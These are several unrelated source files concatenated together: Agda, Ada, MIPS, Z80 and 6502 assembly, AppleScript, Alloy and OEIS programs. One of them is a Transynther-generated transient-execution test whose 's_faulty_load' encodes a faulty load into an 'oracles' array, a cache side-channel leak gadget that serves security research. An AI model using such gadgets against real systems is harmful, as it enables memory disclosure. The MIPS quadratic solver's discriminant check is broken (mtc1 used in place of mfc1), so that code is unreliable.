_ _ poset = record { Carrier = List (DecSetoid.Carrier S) ; _≈_ = _≋_ ; _≤_ = _⊆_ ; isPartialOrder = ⊆-isPartialOrder } setoid : Setoid _ _ setoid = record { Carrier = List (DecSetoid.Carrier S) ; _≈_ = _≋_ ; isEquivalence = ≋-isEquivalence } ------------------------------------------------------------------------ -- Reasoning module PosetReasoning where open import Relation.Binary.Reasoning.PartialOrder poset public module EqReasoning where open import Relation.Binary.Reasoning.Setoid setoid public
programs/oeis/168/A168232.asm
karttu/loda
1
7846
<filename>programs/oeis/168/A168232.asm ; A168232: a(n) = (2*n - 3*(-1)^n - 1)/2. ; 2,0,4,2,6,4,8,6,10,8,12,10,14,12,16,14,18,16,20,18,22,20,24,22,26,24,28,26,30,28,32,30,34,32,36,34,38,36,40,38,42,40,44,42,46,44,48,46,50,48,52,50,54,52,56,54,58,56,60,58,62,60,64,62,66,64,68,66,70,68,72,70,74,72,76,74,78,76,80,78,82,80,84,82,86,84,88,86,90,88,92,90,94,92,96,94,98,96,100,98,102,100,104,102,106,104,108,106,110,108,112,110,114,112,116,114,118,116,120,118,122,120,124,122,126,124,128,126,130,128,132,130,134,132,136,134,138,136,140,138,142,140,144,142,146,144,148,146,150,148,152,150,154,152,156,154,158,156,160,158,162,160,164,162,166,164,168,166,170,168,172,170,174,172,176,174,178,176,180,178,182,180,184,182,186,184,188,186,190,188,192,190,194,192,196,194,198,196,200,198,202,200,204,202,206,204,208,206,210,208,212,210,214,212,216,214,218,216,220,218,222,220,224,222,226,224,228,226,230,228,232,230,234,232,236,234,238,236,240,238,242,240,244,242,246,244,248,246,250,248 mov $1,$0 mod $1,2 gcd $1,4 add $1,$0 sub $1,2
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/l_f16_conv_long.asm
Frodevan/z88dk
0
177776
SECTION code_fp_math16 PUBLIC l_f16_ulong2f PUBLIC l_f16_slong2f PUBLIC l_f16_f2slong PUBLIC l_f16_f2ulong PUBLIC f16_i32_f16 PUBLIC f16_u32_f16 PUBLIC f16_f16_i32 PUBLIC f16_f16_u32 EXTERN asm_f16_f24 EXTERN asm_f24_f16 EXTERN asm_f24_u32 EXTERN asm_f24_i32 EXTERN asm_i32_f24 EXTERN asm_u32_f24 .l_f16_ulong2f .f16_f16_u32 call asm_f24_u32 jp asm_f16_f24 .l_f16_slong2f .f16_f16_i32 call asm_f24_i32 jp asm_f16_f24 .l_f16_f2slong .f16_i32_f16 call asm_f24_f16 jp asm_i32_f24 .l_f16_f2ulong .f16_u32_f16 call asm_f24_f16 jp asm_u32_f24
test/Succeed/Operators.agda
cruhland/agda
1,989
12629
-- Operator example module Operators where data True : Set where tt : True data False : Set where data Bool : Set where false : Bool true : Bool -- An operator is declared with '_' where the arguments go if_then_else_ : Bool -> {A : Set} -> A -> A -> A if true then x else y = x if false then x else y = y -- The actual name of the operator is obtained by removing all the spaces from -- the declared version. infix 1 if_then_else_ -- This name can be used in normal applications, for instance, if a hidden argument -- needs to be supplied. _&&_ : Bool -> Bool -> Bool x && y = if_then_else_ x {Bool} y false -- Operators can be prefix... ¬_ : Bool -> Bool ¬ true = false ¬ false = true -- ...or postfix... _valid : Bool -> Set true valid = True false valid = False -- ...or roundfix ⟦_⟧ : Bool -> Set ⟦ x ⟧ = x valid
source/resolver/program-interpretations.ads
reznikmm/gela
0
13651
-- SPDX-FileCopyrightText: 2019-2021 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ------------------------------------------------------------- private with Ada.Containers.Vectors; private with Ada.Finalization; with Program.Visibility; with Program.Symbols; with Program.Type_Matchers; package Program.Interpretations is pragma Preelaborate; type Solution_Kind is (Placeholder_Solution, Defining_Name_Solution, Expression_Solution, Tuple_Solution); type Solution_Array; type Solution_Tuple_Access is access constant Solution_Array; type Solution (Kind : Solution_Kind := Solution_Kind'First) is record case Kind is when Placeholder_Solution => null; when Defining_Name_Solution => Name_View : Program.Visibility.View; when Expression_Solution => Type_View : Program.Visibility.View; when Tuple_Solution => Tuple : Solution_Tuple_Access; end case; end record; type Solution_Array is array (Natural range <>) of Solution; Empty_Solution_Array : constant Solution_Array := (1 .. 0 => <>); type Context (Env : not null Program.Visibility.Context_Access) is tagged limited private; type Context_Access is access all Context'Class with Storage_Size => 0; type Interpretation_Set is tagged private; type Interpretation_Set_Array is array (Positive range <>) of Interpretation_Set; function Create_Interpretation_Set (Self : in out Context'Class) return Interpretation_Set; procedure Add_Symbol (Self : in out Interpretation_Set'Class; Symbol : Program.Symbols.Symbol); -- Extend Self with symbol interpretation procedure Add_Defining_Name (Self : in out Interpretation_Set'Class; Name_View : Program.Visibility.View; Down : Solution_Array := Empty_Solution_Array); type Apply_Kind is (Unknown, Function_Call, Type_Convertion, Indexed_Component); procedure Add_Expression (Self : in out Interpretation_Set'Class; Tipe : Program.Visibility.View; -- Apply : Apply_Kind := Unknown; ??? Down : Solution_Array := Empty_Solution_Array); procedure Add_Expression_Category (Self : in out Interpretation_Set'Class; Matcher : not null Program.Type_Matchers.Type_Matcher_Access); private type Solution_Array_Access is access all Solution_Array; type Interpretation_Kind is (Symbol, Name, Expression, Expression_Category); type Interpretation (Kind : Interpretation_Kind := Symbol) is record case Kind is when Symbol => Symbol : Program.Symbols.Symbol; when Name => Name_View : Program.Visibility.View; when Expression => Type_View : Program.Visibility.View; Solutions : Solution_Array_Access; when Expression_Category => Matcher : not null Program.Type_Matchers.Type_Matcher_Access; end case; end record; package Interpretation_Vectors is new Ada.Containers.Vectors (Positive, Interpretation); type Context (Env : not null Program.Visibility.Context_Access) is new Ada.Finalization.Limited_Controlled with record Data : Interpretation_Vectors.Vector; end record; overriding procedure Finalize (Self : in out Context); type Interpretation_Set is tagged record Context : Context_Access; From : Positive; To : Natural; end record; end Program.Interpretations;
ga_common/pick_manager.adb
rogermc2/GA_Ada
3
18080
<filename>ga_common/pick_manager.adb with Interfaces; with Ada.Text_IO; use Ada.Text_IO; with GL.Attributes; with GL.Framebuffer; with GL.Objects.Buffers; with GL.Objects.Programs; with GL.Objects.Shaders; with GL.Pixels; with GL.Types.Colors; with GL.Uniforms; with Program_Loader; with Utilities; package body Pick_Manager is type GL_Pick is record Picking_Program : GL.Objects.Programs.Program; Picking_Colour_ID : GL.Uniforms.Uniform; Picking_Matrix_ID : GL.Uniforms.Uniform; Pick_Active : Boolean := False; -- set to true during picking -- set to picking window (x, y, w, h) during picking OpenGL_Pick : GL.Types.Int_Array (1 .. 4) := (0, 0, 0, 0); -- Must be set correctly by caller of pick() to get correct distances returned Frustum_Near : GL.Types.Single := 1.0; -- Must be set correctly by caller of pick() to get correct distances returned Frustum_Far : GL.Types.Single := 100.0; -- not required for pick(), provided for completenes FrustumWidth : GL.Types.Single := 0.0; -- not required for pick(), provided for completenes Frustum_Height : GL.Types.Single := 0.0; Pick_Window_Size : GL.Types.Int := 4; end record; type Pixels_Array is array (Positive range <>) of aliased GL.Types.UByte; Max_Items : constant GL.Types.Int := 100; White : constant GL.Types.Colors.Color := (1.0, 1.0, 1.0, 1.0); Vertex_Buffer : GL.Objects.Buffers.Buffer; Element_Buffer : GL.Objects.Buffers.Buffer; Pick_Data : GL_Pick; -- ------------------------------------------------------------------------ procedure Init_Pick_Manager is use GL.Objects.Shaders; begin Pick_Data.Picking_Program := Program_Loader.Program_From ((Program_Loader.Src ("src/shaders/picking_vertex_shader.glsl", Vertex_Shader), Program_Loader.Src ("src/shaders/picking_fragment_shader.glsl", Fragment_Shader))); Pick_Data.Picking_Colour_ID := GL.Objects.Programs.Uniform_Location (Pick_Data.Picking_Program, "Picking_Colour"); Pick_Data.Picking_Matrix_ID := GL.Objects.Programs.Uniform_Location (Pick_Data.Picking_Program, "MVP"); exception when others => Put_Line ("An exception occurred in Init_Pick_Manager."); raise; end Init_Pick_Manager; -- ------------------------------------------------------------------------ procedure Read_Pix is new GL.Framebuffer.Read_Pixels (Element_Type => GL.Types.UByte, Index_Type => Positive, Array_Type => Pixels_Array); -- ------------------------------------------------------------------------ procedure Pick (Window : in out Glfw.Windows.Window; Positions : GL.Types.Singles.Vector3_Array; Orientations : Orientation_Array; Indices_Size : GL.Types.Int; View_Matrix, Projection_Matrix : GL.Types.Singles.Matrix4) is use Interfaces; use GL.Types; use GL.Types.Singles; Model_Matrix : Matrix4; Rot_Matrix : Matrix4; Trans_Matrix : Matrix4; MVP_Matrix : Singles.Matrix4; R : Single; G : Single; B : Single; Window_Width : Glfw.Size; Window_Height : Glfw.Size; Pixel_Data : Pixels_Array (1 .. 4); Picked_ID : Int; -- Message : Ada.Strings.Unbounded.Unbounded_String; begin Utilities.Clear_Background_Colour_And_Depth (White); GL.Objects.Programs.Use_Program (Pick_Data.Picking_Program); -- Only the positions are needed (not the UVs and normals) GL.Attributes.Enable_Vertex_Attrib_Array (0); for count in GL.Types.Int range 1 .. Max_Items loop Rot_Matrix := Maths.Rotation_Matrix (Orientations (count).Angle, Orientations (count).Axis); Trans_Matrix := Maths.Translation_Matrix (Positions (count)); Model_Matrix := Trans_Matrix * Rot_Matrix; MVP_Matrix := Projection_Matrix * View_Matrix * Model_Matrix; GL.Uniforms.Set_Single (Pick_Data.Picking_Matrix_ID, MVP_Matrix); -- Convert count, the integer mesh ID, into an RGB color R := Single (Unsigned_32 (count) and 16#FF#) / 255.0; G := Single (Shift_Right (Unsigned_32 (count) and 16#FF00#, 8)) / 255.0; B := Single (Shift_Right (Unsigned_32 (count) and 16#FF0000#, 16)) / 255.0; GL.Uniforms.Set_Single (Pick_Data.Picking_Colour_ID, R, G, B, 1.0); GL.Objects.Buffers.Array_Buffer.Bind (Vertex_Buffer); GL.Attributes.Set_Vertex_Attrib_Pointer (0, 3, Single_Type, True, 0, 0); GL.Objects.Buffers.Element_Array_Buffer.Bind (Element_Buffer); GL.Objects.Buffers.Draw_Elements (Mode => Triangles, Count => Indices_Size, Index_Type => UInt_Type); end loop; GL.Attributes.Disable_Vertex_Attrib_Array (0); GL.Flush; GL.Pixels.Set_Pack_Alignment (GL.Pixels.Unpack_Alignment); Window'Access.Get_Size (Window_Width, Window_Height); -- Read the pixel at the center of the screen Read_Pix (Int (Window_Width) / 2, Int (Window_Height) / 2, 1, 1, GL.Pixels.RGBA, GL.Pixels.Float, Pixel_Data); Put_Line ("Pick R" & UByte'Image (Pixel_Data (1)) & UByte'Image (Pixel_Data (2)) & UByte'Image (Pixel_Data (3))); -- Convert the color back to an integer ID Picked_ID := Int (Pixel_Data (1)) + 256 * Int (Pixel_Data (2)) + 256 * 256 * Int (Pixel_Data (3)); if Picked_ID = 16#00FFFFFF# then -- Full white, must be the background! Put_Line ("Background " & Int'Image (Picked_ID)); -- Message := Ada.Strings.Unbounded.To_Unbounded_String ("background"); else Put_Line ("Mesh " & Int'Image (Picked_ID)); -- Message := Ada.Strings.Unbounded.To_Unbounded_String (""); end if; exception when others => Put_Line ("An exception occurred in Pick."); raise; end Pick; -- ------------------------------------------------------------------------ function Pick_Active return Boolean is begin return Pick_Data.Pick_Active; end Pick_Active; -- ------------------------------------------------------------------------ end Pick_Manager;
src/test/ref/loop-problem3.asm
jbrandwood/kickc
2
80387
// A loop that compiles to a wrong sequence - skipping the initilization // Commodore 64 PRG executable file .file [name="loop-problem3.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .segment Code main: { .label sc = 2 __b3: lda #<$400 sta.z sc lda #>$400 sta.z sc+1 __b1: // for(char* sc = (char*)0x0400;sc<0x0800; sc++) lda.z sc+1 cmp #>$800 bcc __b2 bne !+ lda.z sc cmp #<$800 bcc __b2 !: jmp __b3 __b2: // (*sc)++; ldy #0 lda (sc),y clc adc #1 sta (sc),y // for(char* sc = (char*)0x0400;sc<0x0800; sc++) inc.z sc bne !+ inc.z sc+1 !: jmp __b1 }
gdb/testsuite/gdb.ada/enum_idx_packed/pck.adb
greyblue9/binutils-gdb
1
29616
<reponame>greyblue9/binutils-gdb<filename>gdb/testsuite/gdb.ada/enum_idx_packed/pck.adb -- Copyright 2012-2021 Free Software Foundation, Inc. -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 3 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program. If not, see <http://www.gnu.org/licenses/>. package body Pck is function New_Small_Table (Low: Color; High: Color) return Small_Table is Result : Small_Table (Low .. High); begin for J in Low .. High loop Result (J) := (J = Black or J = Green or J = White); end loop; return Result; end New_Small_Table; function New_Multi_Table (Low, High: Color; LS, HS: Strength) return Multi_Table is Result : Multi_Table (Low .. High, LS .. HS); Next : Boolean := True; begin for J in Low .. High loop for K in LS .. HS loop Result (J, K) := Next; Next := not Next; end loop; end loop; return Result; end New_Multi_Table; function New_Multi_Multi_Table (L1, H1, L2, H2, L3, H3: Positive) return Multi_Multi_Table is Result : Multi_Multi_Table (L1 .. H1, L2 .. H2, L3 .. H3); Next : Boolean := True; begin for J in L1 .. H1 loop for K in L2 .. H2 loop for L in L3 .. H3 loop Result (J, K, L) := Next; Next := not Next; end loop; end loop; end loop; return Result; end New_Multi_Multi_Table; procedure Do_Nothing (A : System.Address) is begin null; end Do_Nothing; end Pck;
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_953.asm
ljhsiun2/medusa
9
92075
<reponame>ljhsiun2/medusa<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0xd378, %rsi lea addresses_WC_ht+0x15f78, %rdi and %r13, %r13 mov $36, %rcx rep movsq nop nop nop nop sub $8887, %rdi lea addresses_UC_ht+0x61b8, %rbx nop nop nop add %r10, %r10 mov (%rbx), %r13d nop nop nop nop inc %rcx lea addresses_WT_ht+0xa5a8, %r13 xor $38355, %rbp mov $0x6162636465666768, %rcx movq %rcx, (%r13) nop nop cmp %rdi, %rdi lea addresses_A_ht+0x4f78, %rbx nop nop nop nop cmp $17274, %r13 mov (%rbx), %rbp nop nop nop nop and $43081, %rdi lea addresses_normal_ht+0x78d8, %rsi lea addresses_A_ht+0x5937, %rdi nop nop nop nop nop add $10255, %r10 mov $125, %rcx rep movsb nop nop nop xor $20506, %rdi lea addresses_UC_ht+0x1db74, %rsi lea addresses_UC_ht+0x16cf8, %rdi nop nop nop xor %r13, %r13 mov $48, %rcx rep movsl nop nop xor %rbx, %rbx lea addresses_A_ht+0x1b217, %rcx nop nop cmp %rsi, %rsi movb (%rcx), %r13b nop nop nop cmp %rcx, %rcx lea addresses_A_ht+0x7678, %r13 nop nop nop xor $33874, %rdi movb (%r13), %r10b nop nop nop nop dec %r10 lea addresses_UC_ht+0x2ad8, %rsi lea addresses_UC_ht+0xeb78, %rdi nop xor $48539, %r8 mov $4, %rcx rep movsw nop nop cmp $6354, %rbx lea addresses_D_ht+0xdd58, %rcx nop nop nop cmp $53250, %rdi movb (%rcx), %bl nop and %rsi, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r8 push %r9 // Faulty Load lea addresses_D+0xdf78, %r14 nop nop nop nop sub $10541, %r9 mov (%r14), %r12w lea oracles, %r10 and $0xff, %r12 shlq $12, %r12 mov (%r10,%r12,1), %r12 pop %r9 pop %r8 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': True, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 10}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
mips2QuadraticEquation.asm
GoldHeretic/MIPSASSIGNMENT2
0
178348
.data king : .asciiz "\nMister Man/Woman Input A:" king_1 : .asciiz "\nAbeg Do for B too:" king_2 : .asciiz "\nWe Need C too PLEASE, <NAME>:" king_3 : .asciiz "\nComplex roots why did you do that" king_4 : .float 4.0 king_5 : .float 2.0 king_6 : .float 0.0 .text main: la $a0, king li $v0, 4 syscall li $v0, 6 syscall #enter a mov.s $f1, $f0 #input b la $a0, king_1 li $v0, 4 syscall li $v0, 6 syscall mov.s $f2, $f0 #input c la $a0, king_2 li $v0, 4 syscall li $v0, 6 syscall mov.s $f3, $f0 # calculate Discriminant l.s $f4, king_4 mul.s $f7, $f2, $f2 mul.s $f5, $f4, $f1 mul.s $f14, $f5,$f3 sub.s $f6, $f7, $f14 mtc1 $t1, $f6 l.s $f8, king_6 #compare d<=0 blez $t1, Complex_roots #calculate x1 and x2 l.s $f9, king_5 Compute_X1_X2: #calcute x1 neg.s $f2, $f2 #am converting the value in $f2 to negative sqrt.s $f13, $f6 add.s $f10, $f2, $f13 mul.s $f9, $f9, $f1 div.s $f10, $f10, $f9 #compute x2 sub.s $f11, $f2, $f13 div.s $f11, $f11, $f9 #output roots #output X1 mov.s $f12, $f10 li $v0, 2 syscall #output X2 mov.s $f12, $f11 li $v0, 2 syscall b exit Complex_roots: la $a0, king_3 li $v0, 4 syscall exit: li $v0,10 syscall
geometry.ads
FROL256/ada-ray-tracer
3
8043
with Interfaces; with Ada.Numerics.Float_Random; with Vector_Math; with Materials; with Ada.Unchecked_Deallocation; with Ada.Text_IO; use Interfaces; use Vector_Math; use Materials; use Ada.Text_IO; package Geometry is type Ray is record origin : float3 := (0.0, 0.0, 0.0); direction : float3 := (0.0, 0.0, 1.0); x,y : integer := 0; -- needed for MLT end record; type Sphere is record pos : float3; r : float; mat : MaterialRef; end record; type AABB is record min : float3; max : float3; end record; type Triangle is record A_index : integer; B_index : integer; C_index : integer; end record; type FlatLight is record boxMin : float3; boxMax : float3; normal : float3; intensity : float3; surfaceArea : float; end record; type Cornell_Material_Indices is array (0..5) of integer; type Cornell_Normals is array (0..5) of float3; type CornellBox is record mat_indices : Cornell_Material_Indices; normals : Cornell_Normals; box : AABB; end record; type Primitive is (Plane_TypeId, Sphere_TypeId, Triangle_TypeId, Quad_TypeId); type Hit(prim_type : Primitive := Plane_TypeId) is record is_hit : boolean := false; t : float := infinity; normal : float3 := (0.0, 0.0, 0.0); mat : MaterialRef := null; -- both mat id and mat ref are needed, but each in it's time while calc intersection; #TODO: refactor this! matId : integer := 0; -- both mat id and mat ref are needed, but each in it's time while calc intersection; #TODO: refactor this! tx,ty : float := 0.0; prim_index : integer := -1; end record; type Shadow_Hit is record percentageCloser : float3 := (0.0, 0.0, 0.0); in_shadow : boolean := true; shadowRay : Ray; end record; type Spheres_Array is array (Integer range <>) of Sphere; type Spheres_Array_Ptr is access Spheres_Array; type Float3_Array is array(integer range <>) of float3; type Float2_Array is array(integer range <>) of float2; type Triangle_Array is array(integer range <>) of Triangle; type MaterialsId_Array is array(integer range <>) of integer; type Float3_Array_Ptr is access Float3_Array; type Float2_Array_Ptr is access Float2_Array; type Triangle_Array_Ptr is access Triangle_Array; type MaterialsId_Ptr is access MaterialsId_Array; procedure delete is new Ada.Unchecked_Deallocation(Object => Float3_Array, Name => Float3_Array_Ptr); procedure delete is new Ada.Unchecked_Deallocation(Object => Float2_Array, Name => Float2_Array_Ptr); procedure delete is new Ada.Unchecked_Deallocation(Object => Triangle_Array, Name => Triangle_Array_Ptr); procedure delete is new Ada.Unchecked_Deallocation(Object => MaterialsId_Array, Name => MaterialsId_Ptr); type Mesh is record vert_positions : Float3_Array_Ptr := null; vert_normals : Float3_Array_Ptr := null; vert_tex_coords : Float2_Array_Ptr := null; triangles : Triangle_Array_Ptr := null; material_ids : MaterialsId_Ptr := null; bbox : AABB; end record; procedure CreatePrism(self: out Mesh; mTransform : in float4x4; size,angle : in float; matId : in integer); procedure LoadMeshFromVSGF(self: out Mesh; mTransform : in float4x4; a_fileName : String); type LiteGeomHit is record is_hit : boolean := false; tmin : float := 0.0; tmax : float := 0.0; u,v : float := 0.0; end record; function IntersectBox(r: Ray; box : AABB) return LiteGeomHit; function IntersectTriangle(r: Ray; A : float3; B : float3; C : float3; t_min : float; t_max : float) return LiteGeomHit; function IntersectPlaneXZ (r: Ray; planeMat : MaterialRef) return Hit; function IntersectAllSpheres(r: Ray; a_spheres : Spheres_Array_Ptr) return Hit; function IntersectFlatLight (r: Ray; lightGeom : FlatLight; lMat : MaterialRef) return Hit; function IntersectCornellBox(r: Ray; boxData : CornellBox) return Hit; function IntersectMeshBF(r: Ray; meshGeom : Mesh) return Hit; private null_hit : Hit := ( prim_type => Plane_TypeId, prim_index => -1, is_hit => false, t => infinity, mat => null, matId => 0, tx => 0.0, ty => 0.0, normal => (0.0, 1.0, 0.0) ); procedure ComputeFlatNormals(self: in out Mesh); procedure AllocData(self: in out Mesh; vnum,inum: integer); procedure FreeData(self: in out Mesh); end Geometry;
Applications/Terminal/window/tab/do script.applescript
looking-for-a-job/applescript-examples
1
2446
<gh_stars>1-10 tell application "Terminal" do script "ls; clear" in selected tab of front window # execute in selected tab end tell tell application "Terminal" tell front window tell selected tab do script "ls; clear" # open new tab!!! end tell end tell end tell
data/baseStats/venomoth.asm
AmateurPanda92/pokemon-rby-dx
9
14506
<filename>data/baseStats/venomoth.asm<gh_stars>1-10 db DEX_VENOMOTH ; pokedex id db 70 ; base hp db 65 ; base attack db 60 ; base defense db 90 ; base speed db 90 ; base special db BUG ; species type 1 db POISON ; species type 2 db 75 ; catch rate db 138 ; base exp yield INCBIN "pic/bmon/venomoth.pic",0,1 ; 77, sprite dimensions dw VenomothPicFront dw VenomothPicBack ; attacks known at lvl 0 db TACKLE db DISABLE db POISONPOWDER db LEECH_LIFE db 0 ; growth rate ; learnset tmlearn 2,4,6 tmlearn 9,10,15 tmlearn 20,21,22 tmlearn 29,30,31,32 tmlearn 33,34,39 tmlearn 44,46 tmlearn 50 db 0 ; padding
alloy4fun_models/trashltl/models/11/MFTgQM2vsRkuHQGgu.als
Kaixi26/org.alloytools.alloy
0
3546
<gh_stars>0 open main pred idMFTgQM2vsRkuHQGgu_prop12 { eventually (always some f:File | f not in (Trash & Protected) implies f in Trash') } pred __repair { idMFTgQM2vsRkuHQGgu_prop12 } check __repair { idMFTgQM2vsRkuHQGgu_prop12 <=> prop12o }
programs/oeis/261/A261191.asm
karttu/loda
1
173132
<reponame>karttu/loda<gh_stars>1-10 ; A261191: 40-gonal numbers: a(n) = 38*n*(n-1)/2 + n. ; 0,1,40,117,232,385,576,805,1072,1377,1720,2101,2520,2977,3472,4005,4576,5185,5832,6517,7240,8001,8800,9637,10512,11425,12376,13365,14392,15457,16560,17701,18880,20097,21352,22645,23976,25345,26752,28197,29680,31201,32760,34357,35992,37665,39376,41125,42912,44737,46600,48501,50440,52417,54432,56485,58576,60705,62872,65077,67320,69601,71920,74277,76672,79105,81576,84085,86632,89217,91840,94501,97200,99937,102712,105525,108376,111265,114192,117157,120160,123201,126280,129397,132552,135745,138976,142245,145552,148897,152280,155701,159160,162657,166192,169765,173376,177025,180712,184437,188200,192001,195840,199717,203632,207585,211576,215605,219672,223777,227920,232101,236320,240577,244872,249205,253576,257985,262432,266917,271440,276001,280600,285237,289912,294625,299376,304165,308992,313857,318760,323701,328680,333697,338752,343845,348976,354145,359352,364597,369880,375201,380560,385957,391392,396865,402376,407925,413512,419137,424800,430501,436240,442017,447832,453685,459576,465505,471472,477477,483520,489601,495720,501877,508072,514305,520576,526885,533232,539617,546040,552501,559000,565537,572112,578725,585376,592065,598792,605557,612360,619201,626080,632997,639952,646945,653976,661045,668152,675297,682480,689701,696960,704257,711592,718965,726376,733825,741312,748837,756400,764001,771640,779317,787032,794785,802576,810405,818272,826177,834120,842101,850120,858177,866272,874405,882576,890785,899032,907317,915640,924001,932400,940837,949312,957825,966376,974965,983592,992257,1000960,1009701,1018480,1027297,1036152,1045045,1053976,1062945,1071952,1080997,1090080,1099201,1108360,1117557,1126792,1136065,1145376,1154725,116